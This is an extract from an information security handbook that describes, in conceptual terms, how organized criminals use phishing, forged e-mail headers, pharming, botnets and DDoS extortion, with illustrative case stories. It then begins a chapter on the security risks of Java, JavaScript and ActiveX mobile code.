Opportunists Opportunists do not generally plan their criminal activities in advance. The best example is the typical house burglar, who scouts a neighborhood for an easy target rather than just concentrating on the house with the most expensive car in the driveway. Sometimes, though, the activity is not planned at all and can arise from being in the right place at the right time. For example, a person with no specific plans to commit a criminal act (albeit one with a tendency to criminal activity) might chance upon a car left parked with a wallet on the dashboard. In this case, the criminal did not set out that day to steal from a car, but when the opportunity arose he took advantage of it. Bringing this to the IT world, many networkaware worms spread through vulnerabilities in operating systems and applications. The perpetrator does not usually write the worm to target specific systems but designs it to take advantage of any vulnerabilities it happens to find. The worm, therefore, does the work of its designer, who is an opportunist.
Status Seekers Ever notice all that graffiti that appears in rundown areas of town or on the side of trains? It is often unintelligible, and the same design is repeated many times. It is created by status seekers, people who want their “tag” (signature) to be more widely seen than any other artist in the area. The more dangerous the location of the tag (e.g., on the side of a road bridge), the more respect is gained in the graffiti community — and, of course, the more it costs the local authorities to clean up, which is why many jurisdictions consider it a fairly serious offense. In the IT world, the sole purpose of some individuals and gangs is to deface as many Web sites as possible or to launch a successful DoS attack on a highprofile Web site. This gains them notoriety in their community and, unfortunately for the rest of us, an increasing amount of rivalry and competition among themselves.
Organized Criminals Like a business with a mission statement, organized criminals have a clear picture of their objectives. They rarely work on their own; even if only one person is committing the crime, that person will work with other criminals to sell stolen credit card details, for example. Modern organized criminals are more than just this, though; they are a network of specialists operating together for a common cause, often across countries and time zones — just like a global company.
Gray Companies Some organizations sit on the boundary between legal and illegal. They try to stay on the right side of the written law, although many people would consider their practices to be morally unsound. Typical examples are spyware companies; their software may have been installed on PCs unnoticed by the users, but spyware companies trying to avoid legal action will bury a disclaimer somewhere in a license agreement or other small print. In some jurisdictions, this turns a potential criminal fraud or deception case into a civil case, where damages have to be proven and the victim does not have the financial backing of government prosecutors. Nevertheless, there have been exceptions to this rule, and at least one large spyware company has been made an example of by the state.
Criminal Malware: Common Tools and Methods Malware has been around for some time, but criminals using it have only recently formed effective, organized, global groups. So, what tools do they use?
Traditional Tools and Methods We will begin our discussion with the more well-known tools and methods.
Organized Crime and Malware
343
Social Engineering Social engineering describes the work of the traditional confidence trickster, or con man. In computer crime, a social engineer might phone a company employee pretending to be a system administrator or irate manager and demand the user’s password or for a certain (confidential) document to be e-mailed. The information gained can be used for a variety of criminal purposes. E-Mail Tricks E-mail can be sent with a variety of options to make it appear genuine when it is not or to hide its true source. Spammers often provide a working Web link to sell their wares but use a “From:” address of a stolen or fictitious e-mail account. This means they do not have to deal with unsubscribe requests, abusive replies, or errors caused by their inaccurate mailing lists. Unfortunately, this task usually ends up with a victim who is powerless to do anything about it. Fake e-mail headers can also be used. E-mail headers appear at the top of every e-mail message (although they are usually hidden by e-mail software), and one of their purposes is to track an e-mail as it passes through different mail systems. But, when headers are forged, it becomes much more difficult (although not impossible) to trace the sender of a nefarious e-mail. It usually takes a skilled person to tell the fake from the real; in Table 27.1, the first message is genuine, and the other one is a fake. In this case, the fact that the time stamps are not consecutive is the giveaway, but this is a basic error that could be corrected by the criminal.
Redirection Criminals have a number of ways to redirect users from where they were going on the Internet to somewhere else under the criminal’s control or to make their computers do something that the criminal wants. Using a Trojan is one obvious example, but some more sophisticated methods are more efficient for the criminal. Rogue Web sites are a phenomenon that started very simply but has grown in complexity. It began with Web sites registered with names similar to existing high-profile sites, but totally unconnected; for example, www.example.com might give rise to rogue Web sites such as www.exampl.com and www.wxample.com. At the alternative site, the owner would typically display a number of revenue-generating advertisements. Pharming is the practice of setting up Web sites that look like a genuine site (on-line banking and Ecommerce sites being popular ones) but are actually “lookalike” sites run by criminals. They are designed to harvest personal details from people who visit them. Someone trying to log onto the e-banking Web site www.example.com but who types www.wxample.com by mistake will end up at a very clever copy of the genuine Web site. Even the padlock icon on the browser may appear. When the user tries to log onto the e-banking service, the criminals will silently capture the log-in details before redirecting the user to the genuine site — and even logging them in to make it appear that nothing is amiss. The rogue site does not have to imitate a genuine site, though. A site advertising (fake) cheap holidays and getting a prominent listing in a major search engine is one example that has been used in the past. Of course, this relies on the user mistyping the address or perhaps following a link in a phishing email or blindly trusting search engine results. But, a fairly new and worrying trend is the use of Domain Name System (DNS) cache poisoning — manipulating DNS servers, often at an Internet Service Provider (ISP), to send users off to the wrong site even when the correct address is entered. This phenomenon took off in a big way in April 2005 and is impossible for anyone other than an expert to detect. Because the user’s PC is not compromised, anti-malware software is not much help. Most ISPs scrambled to ensure that their DNS servers were not vulnerable to this attack, but, like the problem with open mail relays in the 1990s, some ISPs and companies will continue with insecure systems.
Getting Passwords Some attacks focus entirely on getting a user name and password. Although pharming might be good at this, it may not be the preferred method for the criminal. Like anyone, criminals assess what they want to do and then choose the best tool for the job. A keystroke logger can be a piece of hidden software or
344
Information Security Management Handbook
TABLE 27.1 Can You Tell the Fake Message from the Real One? Genuine E-Mail Header Received: from gw.capitalservicesinternet.int (unverified) by mailhost.capitalinternetservices.int (CIS SMTPS 2.8.04) with ESMTP id for <[email protected]>; Thu, 14 Oct 2004 13:51:08 +0100 Received: from [172.18.193.201] (helo=fw.capitalinternetservices.int) by gw.capitalservicesinternet.int with esmtp (POBMail 2.1) id 1CB53K-0014Tv-10 for [email protected]; Thu, 14 Oct 2004 13:50:57 +0100 Received: from mgw.gsfecards.info ([172.16.03.177]) by fw.capitalinternetservices.int with smtp (ExMail 3.36) id 1CD52O-0017fE-00 for [email protected]; Thu, 14 Oct 2004 13:51:01 +0100 Message-ID: <[email protected]> Date: Thu, 14 Oct 2004 07:40:16 -0500 To: Joanne <[email protected]> From: “A friend” <[email protected]> Subject: Happy Birthday - see attachment! Fake E-Mail Header It takes a keen eye to spot the problem — namely, that the recipient’s ISP receives the e-mail before it is sent! In fact, the third “Received:” line is forged to try to implicate bigtownisp.int in sending the e-mail; unfortunately, the criminals got the time wrong! Received: from gw.capitalservicesinternet.int (unverified) by mailhost.capitalinternetservices.int (CIS SMTPS 2.8.04) with ESMTP id for <[email protected]>; Thu, 14 Oct 2004 13:51:08 +0100 Received: from [172.17.191.23] (helo=mgw.proxyz.int) by gw.capitalservicesinternet.int with esmtp (POBMail 2.1) id 1CB53K-0014Tv-10 for [email protected]; Thu, 14 Oct 2004 13:50:57 +0100 Received: from mgw.gsfecards.info ([172.16.03.177]) by 172-18-34-1.adsl.bigtownisp.int with smtp (ExMail 3.36) id 1CD52O-0017fE-00 for [email protected]; Thu, 14 Oct 2004 15:34:01 +0100 Message-ID: <[email protected]> Date: Thu, 14 Oct 2004 07:40:16 -0500 To: Joanne <[email protected]> From: “A friend” <[email protected]> Subject: Happy Birthday - see attachment!
a piece of hardware attached to a keyboard and hidden out of sight. The purpose is the same — to gather every character typed on the keyboard. This includes every password entered, credit card details (even if a secure connection is used), and even confidential letters that have been typed. A password sniffer, on the other hand, is a piece of software that can tell the difference between a password being entered and an e-mail being typed. Simple examples in the past have included Trojans that waited for a particular e-banking site to be visited before beginning to capture the keystrokes. This made it easier for the criminal to capture the password without having to wade through everything else that had been typed previously.
Organized Crime and Malware
345
Phoney Revenue It is probably worthwhile to mention dialers, a special type of software often installed by Trojans. Although a lot of people have broadband connections to the Internet, a large number of people still have dial-up modems, especially outside the United States. Malicious dialers replace the normal dial-up ISP settings and replace them with the criminal’s chosen ISP, which uses a premium-rate phone line. Often, users only find out when they receive their telephone bills, by which time the criminal has their money and is long gone. Some broadband users have even been caught by leaving an old modem connected to the phone line. It is important to point out that nonmalicious dialers exist that are run by genuine businesses. Examples include competition or voting lines (especially for television shows) and subscription Web sites offering a “pay-as-you-use” facility.
Bot Nets Finally, this section provides a quick look at bot nets. These are networks of computers owned by innocent people but which have been compromised by malware. These systems (often PCs with broadband connections) can be centrally controlled by a criminal and used for whatever purpose they want. This has the advantage for the criminal that attacks can be launched without being directly traceable to the criminal’s own PC. It also has the disadvantage for innocent PC owners that they might have law enforcement officials knocking on their doors, suspecting them of computer crime.
How Is All of This Used? Let us now take a look at how all of this fits together and how organized criminals use malware. The examples in this section are fictional but are based on documented events or techniques that criminals have used in the past.
Account Hijacking Lindsay bought a computer for Christmas, partly to help with her son’s education and partly to help her with home finances. Like most home users, Lindsay had no special training in IT, so her knowledge was based on the user manual that came with the system, as well as a fair amount of trial and error. One day, Lindsay received an e-mail from her ISP, saying that someone had been trying to hack into her account. In order to lock out the hacker, the ISP asked Lindsay to visit the ISP’s Web site, where she could confirm her account details (see Figure 27.1). She was concerned about being hacked but pleased that her ISP had spotted a problem. Lindsay complied with the request, and heard nothing more for a few days. Strangely, Lindsay started to receive a lot of e-mails with the subject “Returned or unable to deliver,” but knowing that there had been a problem with her account she assumed that these e-mails were related to that. Besides, her ISP was now dealing with the issue, and it would be sorted out soon. Next, Lindsay started receiving threatening and abusive e-mails from people she had never heard of. Some of them called her disgusting and vile, and others threatened violence. Lindsay was horrified. She opened one more e-mail, which was from a mother who seemed concerned about e-mails her daughter was receiving. Lindsay decided to e-mail the mother, to see how she had obtained Lindsay’s e-mail address. Phillipa, the other mother, replied almost instantly. She was very upset at the e-mail that Lindsay had sent her daughter, advertising a pornographic Web site. Lindsay knew she had not sent anything like that. Suspicion fell on her nine-year-old so, but he did not seem capable of doing something as bad as this. Besides, she was more worried that he might read one of the threatening e-mails. Short of any other ideas, Lindsay contacted Phillipa again. Phillipa suggested that Lindsay contact her ISP’s support helpline, which she did. After explaining the strange e-mails to the support technician and finally getting him to see that they were more than just spam, the technician forwarded Lindsay to the ISP’s abuse team. Lindsay was getting increasingly frustrated at this point and asked the person at the abuse team why they had not sorted out her account like they originally promised — after all, she had
346
Information Security Management Handbook
FIGURE 27.1 Lindsay is asked to confirm her ISP account details.
given them all the details they asked for. At this point, the abuse team knew exactly what had happened and began to explain it to Lindsay. When Lindsay received the first e-mail about her account being hacked, her account was perfectly safe. No hacking had taken place. Lindsay was surprised to learn that the e-mail had not been sent by her ISP but was cleverly designed to trick her into thinking that it had been. This unnerved Lindsay, who had heard about being cautious of people online but had never thought of someone impersonating her ISP. Lindsay had clicked on a link in the e-mail to go to the ISP’s Web site, but the specially crafted link made a pop-up box appear on top of the ISPs genuine site. She had unwittingly entered her account username, password, and payment card details into the pop-up box; these hadn’t been sent to the ISP but to a system controlled by criminals. The criminals had then logged into Lindsay’s e-mail account at the ISP and used it to send thousands of spam messages advertising a pornographic Web site. Some of the recipients of the message had been so upset by its content that they decided to reply to the sender — who, it appeared, was Lindsay and her son. Lindsay’s ISP set up a new account for her, flagged the original account as having fraudulent use, and arranged for all future activity to be logged. Lindsay also contacted her credit card company, as she had given her payment card details to the criminals. Thankfully, her card had not been misused, and a replacement card was issued. Lindsay had to notify her friends of her new e-mail address, and so did her son. She had to contact the online stores she used, to update the contact and payment details she had previously registered with them. For a long time, she would question each and every e-mail she received, whether it be from her ISP, her bank, or her mother. Lindsay was not going to be a victim of another phishing attack if she could help it.
Extortion Johnson Brothers was a successful online business selling the latest electronic goods. It specialized in hard-to-get and high-value items such as the latest PDAs and large-format televisions. A national advertising campaign had brought orders flooding in from all over the country, and talk of the company on various Internet message boards had led to a stream of overseas orders. Business was booming, and with Christmas just around the corner things were set to get even busier. Alan was the managing director of Johnson Brothers. One day, he received an e-mail that had been forwarded to him from the customer service call center. The customer service agents were not sure how to handle it and neither was their
Organized Crime and Malware
347
supervisor, so they forwarded it to Alan. He read on. The e-mail said that, unless Johnson Brothers was willing to pay £30,000, customers might have difficulty accessing the company’s Web site. Alan discussed the e-mail with senior managers, who decided it was probably a hoax; nevertheless, they alerted the IT security team just in case. A week or so later, customers started to ring the call center, complaining that they could not get on the Web site. IT security reported that something strange was happening on the Internet connection, but they did not know exactly what. The problems lasted for a few hours, then disappeared. The next morning, Alan arrived at work to find an e-mail waiting for him. It was from the same person who had written the first threatening e-mail. It began, “I think you are having problems with your Web site. I think I may be the cause of your problems.” The demand for money was made again, with the threat that a further attack would take place on December 18. Alan realized that was Johnson Brother’s last order date for Christmas delivery and traditionally the busiest day of the year. Alan called a crisis meeting with the company’s top management. If the Web site was offline on December 18, the business stood to lose around £50,000, so it was tempting to accept the extortionist’s demand for £30,000, and some of the managers argued that the decision was obvious. Alan argued that the decision was indeed obvious — Johnson Brothers would not give in to criminals. Alan went to see the IT security manager, who explained about denial-of-service (DoS) attacks. Together, they went to see the company’s ISP. The ISP had been very good at providing extra capacity as the company had grown and had provided fairly good support, but they were clueless about handling large-scale DoS attacks. In fact, the ISP seemed more concerned that their network could be adversely affected by a DoS attack on Johnson Brothers, thus causing problems for other customers of the ISP. Johnson Brothers eventually found a large ISP who specialized in providing high-availability Internet connections, with protection against DoS attacks. They were expensive — very expensive. The migration to the new ISP was painful and had to be done during late evenings and early mornings in order to minimize any effect on customers trying to buy goods through the Web site. Alan knew the finance director would not be pleased with the amount of money spent, but there seemed no alternative. December 18 came. Alan received a call from IT security: “It’s starting!” The IT security manager confirmed that a distributed denial of service (DDoS) attack seemed to be in progress, and he showed Alan how it was affecting the Web site. The site was slow but still working. The customer service call center got a few calls from people complaining that they could not get onto the Web site, and a few complained that the site was slow, but there were not many complaints, and most orders appeared to be coming in just fine. Later in the day, response times for the Web site went down, but IT security was able to determine that it was down due to the sheer number of orders being placed. The DDoS attack stopped. The company never heard from the extortionist again. The story leaked to the press, but fortunately Alan had informed the company’s public relations people about the extortionist’s demands. They were able to turn it into a positive (and rather minor) news story about the company keeping criminals at bay rather than a front-page exposé of an E-commerce giant being “hacked.” Following the press announcements, Alan received a call from a law enforcement officer, June, who was a computer crime detective. June asked if she could meet Alan to discuss the extortion attempt and see if they could share any useful information for the future. Alan was embarrassed. He had not reported the incident to the police, because he did not think they were equipped to deal with computer crime. In fact, many police forces around the world have computer crime investigators, and it pays to find out who they are before you need them.
Discussion The first case (account hijacking) was a straightforward phishing scam, but let us explore the type of organization that might have been responsible. The phishing e-mail was designed by a con man and sent by a spammer. The Web site was written by a Web developer and hosted on a Web server purchased from someone who hacked into a legitimate server beforehand. The log-in details were sold to a spammer,
348
Information Security Management Handbook
Spammer — writes and sends e-mail
Victim Gives personal details Web server
Victimʼs ISP log-in details can be used for future spamming
Data
Web developer — designs web page and codes Javascript or VBScript
Hacker — compromises Web server Paid by one of the criminals
Sold to other criminals and used to pay for their activities
FIGURE 27.2 How a phishing scam might be organized.
possibly as payment for his services in sending out the phishing e-mails. The payment card details were sold to a “carder,” someone who trades in stolen card details. Someone, somewhere, probably coordinated all this, recruited the people needed, and took a large cut of the proceeds. But, in a less sophisticated operation with fewer people, it is possible for them to work independently and meet via the Internet. Many variations are possible, just as with the structure of any business. Figure 27.2 shows how the phishing scam might have worked. Note how the proceeds can be used to fund other, more serious criminal activities. According to law enforcement officials, the criminals involved do not necessarily get paid in cash — stolen goods, illegal drugs, and weapons are equally acceptable to some criminals. Does phishing really constitute malware, though? Well, the rogue Web page has to be designed by someone and coded in HTML. Usually some kind of supporting program is necessary to disguise the real purpose of the Web page, such as making it appear as a pop-up box or making the padlock icon appear to give the impression that the page is secure. This is usually done in a scripting language, such as Javascript or VBScript, or in a more powerful language such as Java. Now consider the effects of this programming and HTML coding compared to the results of a password-sniffing Trojan. The purpose is the same; it is simply a different method. So, yes, the author believes that phishing involves malware, although this is certainly not a view shared by all. The second case (extortion) was probably less complicated. It made use of a large bot net of hundreds or thousands of compromised PCs, which were simultaneously instructed to send data to the company’s Web servers. This sheer volume was designed to overload the servers or swamp their bandwidth, thus preventing genuine customers from placing orders. It may seem that a lot of effort went into setting this up, but this is not necessarily the case. Home PCs often have little or no anti-virus protection, making them easy targets for compromise by malware and subsequently by a bot net owner, but the extortionist does not have to worry about this part; they just hire a ready-made “bot net with operator.” Bizarre as it may seem, bot nets are actually available for hire by the hour.
Organized Crime and Malware
349
Current and Future Issues As we have seen, malware techniques have developed so far that criminals can now pick and choose the best “off-the-shelf ” tool for their needs. Not only that, but they also do not need specialist technical knowledge any more. A whole host of experts is willing to help them in exchange for a share of the proceeds. Cybercrime committed by loners or small hacking groups is no longer the main issue; a whole new world is upon us. Increasingly, cybercrime is being committed by loners or small hacking groups working as part of an organized crime ring; this allows them to maximize their income. Their skills are in demand too. Lessons learned in big business, such as outsourcing specialist roles, are being used by organized crime bosses to increase efficiency and effectiveness. Meanwhile, home users — often those with the most vulnerable systems — often remain unaware of the risks. A survey carried out in 2005 illustrated that many home users did not understand IT security because it was too full of jargon. Nearly 85 percent did not know what phishing was, and over 75 percent could not explain spyware (some thought it was used to check up on cheating spouses!). Given that some of these home users will also be nontechnical managers working for companies, it is easy to see how this might also affect the corporate world. So how can we fight the rising tide of organized computer crime, including the large portion that involves malware? The answers are not certain or easy. Technical people might think of firewalls, antivirus software, and anti-spyware tools. These comprise one approach to the problem, but a better solution may be more fundamental: • End users (especially home users) must be sold the message of IT security. • Managers must understand that the risk to their business is real, not just a potential nuisance. • Technical staff must learn to talk nontechnical language so end users and managers can understand the risks. • Government organizations that offer financial support to businesses and consumers wanting to go online (e.g., subsidized training) must factor IT security into the budget. When the risk is understood, people will begin to demand the tools and technologies to secure themselves. Unfortunately, until this happens, organized computer crime and malware will continue to flourish in a world of misinformation and jargon.
This page intentionally left blank
28 Enabling Safer Deployment of Internet Mobile Code Technologies Ron Moritz Highly functional applications — isn’t this the Holy Grail that information systems managers have been searching for since the 1960s? Historically, we could go back more than a decade to the client– server platform whose technologies included third- and fourth-generation development tools and, later, Visual Basic and C++, and whose infrastructure included relational database servers in a distributed UNIX environment communicating over TCP/IP. More recent history is built around the Web platform where we find development technologies that include HTML and multimedia authoring tools, Java for developing program objects, and a variety of scripting languages used to glue various systems together. New network computing initiatives require technologies that push both data and code between remote servers and local clients. Since mid-1996, mobile code technology, also referred to as active or downloadable content, has received considerable attention. Mobile code changes the model of client–server computing. Mobile code allows us to deliver both data and program code to the desktop without user intervention. By removing user participation in the download, installation, and execution of software, mobile code helps advance the reality of network computing. Mobile code is contributing to the maturing infrastructure of Web servers and browsers and is being assimilated with existing technologies and information system investments, often referred to as legacy applications and systems. The next generation of client–server services is emerging using the Web architecture to develop and deploy application servers. Application servers have enhanced the performance and scalability of Web-based applications. Connecting such servers to the Internet, an open network connected to hundreds and thousands of other networks, results in new threats. Despite the growing threats, most organizations have done little to protect themselves against mobile code moving between Web servers and browsers. Security has taken a back seat. Corporate security policies that block mobile code adversely affect the evolution of the Internet, intranet, and extranet. The benefits of distributed subprograms and routines are lost if Java applets, ActiveX controls, scripts, and other mobile code are diverted or prevented from reaching the browser. While no security implementation is absolute, functionality is not achieved by disconnecting users from the network and preventing access to programs. In this chapter we will:
351
352
Information Security Management Handbook
• Explore the problems associated with and alternatives available for allowing untrusted code to execute on the corporate network. • Examine both the current and historical security issues associated with mobile code. • Outline the risks of executable content within the context of new client–server computing. • Describe Java security and author and capability signing models. • Provide guidance for using mobile code on the corporate network. • Provide a roadmap for mobile code deployment. • Review mobile code security solutions available today.
Highly Mobile Code Imagine no longer having to jump into the car and drive to the local computer superstore to buy software. Imagine not having to wait for your favorite mail-order house to ship software to your home or office. Imagine not having space-consuming software boxes lining your shelves. Imagine not having to spend hours installing software. Imagine loading software only when you need it. Mobile code technologies allow Web users to automatically download and run platform-independent code from all over the world on their own machines without technical skills. This “breakthrough” is actually not a new theory; several languages have been introduced with this same goal. What is important today is that we recognize that the underlying computer communications infrastructure has provided the vehicle for a legitimate paradigm shift in computing: real programs that make the Web dynamic by delivering animation, computation, user interaction, and other functions to the desktop. The emergence of mobile code as a Web-based client–server tool has been made possible by the: • Positioning of Sun Microsystem’s Java™ as a platform-independent language and standard • Acceptance of Microsoft’s Internet Explorer™ browser supporting ActiveX™ controls • Ability to plug-in or add services to Netscape Communication’s Communicator™ browser The desire to create applications that install without the user’s participation in the download, setup, and execution processes is logically equivalent to the concept of just-in-time inventory management systems deployed in the manufacturing sector. This is the premise on which the next generation of computing has been planned: locally run programs, dynamically loaded over the network, taking advantage of distributed computing horsepower, allowing “fresh” software to be distributed “as needed.” Java and ActiveX are being used today to create new business applications. Scripting languages, such as JavaScript™ and Visual Basic Script™, are used to create interfaces between new Web services and older, back-end data servers. In large enterprises you will find even the most lightweight application developer deploying programs on department servers. Such code follows no formal software development methodology, seldom undergoes a third-party quality assurance process, and frequently lacks the support services normally available with applications developed by the information services group. The desire for just-in-time software along with the infrastructure that facilities the transport and delivery of the code has resulted in a large and growing base of uncontrolled software.
Java “The Java programming language and platform is a tsunami that will sweep through the economy. In the face of this tide of change, Microsoft and Apple are both forces from the past.”1 Ironically, this statement was issued on the same day that Microsoft infused Apple with $150 million. Nevertheless, it is important to understand the impact Java has had on the Internet and specifically with respect to nextgeneration, client–server computing. A 1997 research study of 279 corporations that had deployed or were planning to deploy Java lent support to the Java story.2 The report claimed that a major shift had taken place in the way corporations viewed the Internet, intranet, and extranet: 52 percent of the companies surveyed were already using Java applications, the balance were in the testing or planning
Enabling Safer Deployment of Internet Mobile Code Technologies
353
phase. The report predicted that 92 percent of the corporations surveyed would be using Java as an enterprise-wide solution for mission-critical applications by 1999. Mobile code technology is a critical part of any online business model. For information publishers mobile code provides ways to customize information delivery and consumer interactivity. For users, it translates into more productive use of the network. In organizations surveyed, Java is being used for serious computing applications such as information sharing, resource scheduling, and project and workgroup management. Simultaneously, there are emerging dangers associated with the deployment of Java. These threats, while not yet materialized, could potentially threaten system integrity at least as extensively as viruses do today. Fundamental shifts in the uses of the Java programming language may weaken the overall security of Java. A new wave of more powerful Java attacks are expected to appear in coming years. Java attacks consist of Java code which contains malicious instructions, embedded in Web pages and e-mail with HTML attachments. In the past, these Java attacks have had rather minor effects, such as freezing the browser or consuming desktop resources, and at worst required a reboot of the workstation. The current threat has escalated dramatically. New Java applications could open the computer to attacks on the hardware itself. Such attacks could affect data on the hard drive, interfere with CPU operations, or corrupt other hardware-based services.
Java Technology Unlike other languages, the Java compiler does not translate from the program language written by programmers directly to machine code. This may be obvious in that machine code is processed (hence, machine dependent), while Java is marketed as machine independent. Java code is compiled into “bytecodes” (called applets) that are interpreted by the Java run-time system on the target computer. This run-time system is called the Java Virtual Machine (JVM), and an operating system-dependent version of this interpreter is required.
How Applets Execute Locally Without User Participation HyperText Markup Language (HTML) pages can contain pointers or references to graphic images, tables, Java applets, and other “objects.” Like the image, the applet bytecode is contained in another file on the Web server. When the Java-enabled browser encounters an applet “tag,” it sends a request to the remote server to fetch the file containing the applet bytecode; the file is passed to the browser’s JVM where it begins to execute. The JVM is multithreaded, which means that several applets can run simultaneously. Browser vendors Java-enable their applications by integrating the JVM into the browser. The specification for the JVM is available from JavaSoft, the Sun Microsystems subsidiary. Vendors are free to determine the level of security in their implementations.
Scripting Languages “Scripting languages get to the point of a problem more concisely than do C++ or Java [object-oriented programming languages]. Programmers can create [some] solutions quickly and succinctly [using scripting languages].”3 A script is a much higher language that allows the programmer or, as in most cases, a nonprogrammer to focus on the business problem and not the language. The downside is that the computer is forced to do more work during execution of the script and, consequently, system performance limitations are reached more quickly. Scripts are best applied when applications must be set up and deployed quickly, require frequent changes, or are used to glue together existing components such as Web access to legacy systems and services. Scripts are not used for performance-intensive applications. Scripts tend to be safer than objectoriented programming languages because most scripting languages, having recognized that programmers who understand how to allocate and use memory correctly are rare, minimize errors by automating memory management and related functions. Of course, Java is supposed to do that but we know better.
354
Information Security Management Handbook
JavaScript is a light programming language created by Netscape Communications that is used to develop code that is embedded in HTML documents and executed in the browser. Text between the JavaScript tags in the HTML file is passed to the JavaScript interpreter; browsers that do not support JavaScript simply ignore the JavaScript tags and code. JavaScript does not run in the Java Virtual Machine and is, therefore, not sandboxed by the same security models developed for securing Java applets.4 JavaScript is used in a variety of applications. Most commonly it can be found opening windows for user input in order to verify that input parameters, such as date fields, are correct or fall within a prescribed range. Prior to the introduction of mobile code, this level of data validation of form input was performed through CGI scripts on the host Web server or on programs developed for back-office servers. JavaScript enables programs to take advantage of the local processor and computing services to perform such checks. JavaScript also introduces security problems. Most JavaScript security violations require only minor user interaction, such as a mouse click, to activate the malicious code. By simply creating a pop-up window that asks the user to click “OK” to continue, JavaScript attack code can be executed. Based on the risks associated with known JavaScript security violations, many have advocated turning JavaScript off. Today, blocking JavaScript is less common. One reason is that corporate users find it necessary to run JavaScript to enable required services. Consider an application that enables browsers to be used as clients of legacy systems through custom Web pages that link to various host applications. To improve services to users the application relies on JavaScript to automate tasks such as log-in sequences and menu navigation. In the travel industry, several sites have emerged that deliver services only when JavaScript is enabled. There is little doubt that blocking JavaScript or other scripting languages will not be an option for long.
Plug-In Services Today’s browser technology supports the ability to automatically download and install plug-in applications that support user interaction with multimedia data. Although independent software vendors are traditionally responsible sources of such plug-in products, it is possible for well-known plug-ins to be maliciously modified. Because the browser gives users a window to collect plug-in applications, the result is an environment in which uncontrolled software is freely distributed and used, often in contradiction with an established computer security policy.
ActiveX An example of ActiveX is the embedding of a Microsoft Excel spreadsheet (object) into a Microsoft Word document. The object contains information that tells the document how the object should behave, what operations it can perform, how it looks, and so forth. The document is the Object Linking & Embedding (oh-lay) container and the spreadsheet is the OLE control. OLE is the interface through which they communicate. In the Web world, a browser that supports ActiveX acts as an ActiveX container by allowing ActiveX controls to run inside of it. When you open an HTML page, the browser runs out and downloads the graphics then displays them. With an ActiveX browser, the browser can also download ActiveX objects (including viruses) and run them in the same way that Word runs the Excel spreadsheet. ActiveX is the interface through which the browser communicates with the downloaded program or control. That is, an ActiveX control is a program that implements an ActiveX interface. ActiveX controls are native programs and have the capabilities of native programs including access to the hard disk, system memory, and other local system and network resources. They differ from Java applets in three significant ways: they are much less secure, they are not cross-platform in that they require the Windows 32-bit operating system, and they are very large. ActiveX controls were birthed from the OLE technology and OLE was never intended to be used across bandwidth-constrained networks. The OLE object or ActiveX control must contain a lot of extra information to let the container, either
Enabling Safer Deployment of Internet Mobile Code Technologies
355
the Word document or Web browser, know how it works. In contrast, Java applets were designed from the start to be used across wide-area, limited-bandwidth networks. There is nothing native to the ActiveX environment that protects the user. An ActiveX control can perform any action on the desktop, making it the perfect vehicle for the delivery of a Trojan horse. For example, an ActiveX game could, on the side, scan your hard drive for documents and send them to an attacker’s Web server using a series of encrypted HTTP commands. It is so dangerous that Wired Magazine wrote: Microsoft’s ActiveX technology is the single greatest technological threat to the future of the World Wide Web. Microsoft’s ActiveX promoters are either so blinded by their own rhetoric that they don’t see the danger of this new technology, or else they are so cynical that they would destroy the very essence of the Internet rather than compromise their market dominance.5
Buggy Code Programs, by their nature, are inherently buggy and untrustworthy. Mobile code technology enables these buggy and untrustworthy programs to move to and execute on user workstations. The Web acts to increase the mobility of code without differentiating among program quality, integrity, or reliability. Consider multimedia documents such as Web pages. Such files, regularly created and distributed by nontechnical employees, are containers for textual content, graphic images, sound files, and programs. Using available tools, it is quite simple to “drag and drop” code into documents which are subsequently placed on Web servers and made available to employees throughout the organization or individuals across the Internet. If this code is maliciously designed, poorly programmed, or improperly tested, it can cause great distress. Although the effect of running such code cannot be anticipated, its delivery and execution are the default. In the new world of network computing, employees have a greater opportunity to create and deploy serious threats with fewer skills. How can managers be sure that programs delivered over the network through interaction with remote application servers are bug-free, crash-free, virus-free code? Are we certain that the code is noninvasive? Can we guarantee the proper operation of code?
Mobile Code and Security We frequently hear that the only way to ensure 100 percent security for an organization’s computer assets is to “disconnect them from the Net, turn them off, and lock them away in a safe.” While worthy of an academic thesis, business realities do not afford managers such luxuries. The ability to gain control over mobile code that reaches into and executes on the workstation connected to the corporate network is a business requirement. Security is evolutionary. Four security concepts that can be applied to mobile code today can be summarized as follows: • Java is reasonably secure and is becoming more so all the time. • The Java language provides features that assist in the development of secure applications. • The Java Virtual Machine deploys a “sandbox” concept designed to control access to local resources and to reduce the probability of introducing programs with undesirable effects. • Security extensions, such as Java Archive (JAR) signing and Microsoft’s Authenticode™, provide for encryption keys and digital certificates used by software publishers to sign code. Sun Microsystems, Java’s creator, knew that it would be essential that Java provide both software developers and users a secure development and run-time environment. To a large extent, they were successful: Java has made and continues to make a significant impact on the world of computing. But is it riskless? Clearly, the answer is no. The idea that untrusted executable content in the form of data is distributed across the network and is automatically executed on a local host wherever it goes gives rise to serious security concerns.
356
Information Security Management Handbook
Additional strategies, optimized for mobile code security, are required to realize the full potential of the new client–server code exchange. These are accomplished through a powerful, cooperative set of technologies. A security infrastructure optimized for the mobile code is one that provides both client and server facilities that do not exist in the Web browsing environment. For example, a signing system to address the issue of how software publishers provide downstream assurance vis-à-vis their mobile code enables an entire class of applications that are not practical on the Web today due to the untrusted nature of software. Basic differences between the Java and ActiveX approach to security include: 1. Java provides users with a security manager. The security manager acts according to his design to enforce preprogrammed security policies. Error recovery enables high-risk functions to be stopped while allowing the code to continue running. 2. Microsoft’s Authenticode is simply a technology designed to identify the publisher of the code. One of the true values of code signing is its ability to assure end users that the code has not been tampered with or altered before or during the download process. 3. When Java applets are found to create insecurities, it is usually a bug in the specification of the JVM or its implementation. Because Java applets (by language specification) are designed to be safe, an insecure applet is exploiting a previously undiscovered weakness in the security scheme Java uses. 4. ActiveX controls do not contain security bugs because ActiveX technology was not designed with security in mind. ActiveX controls have total and complete control of your system. Let’s examine the two security models in more detail.
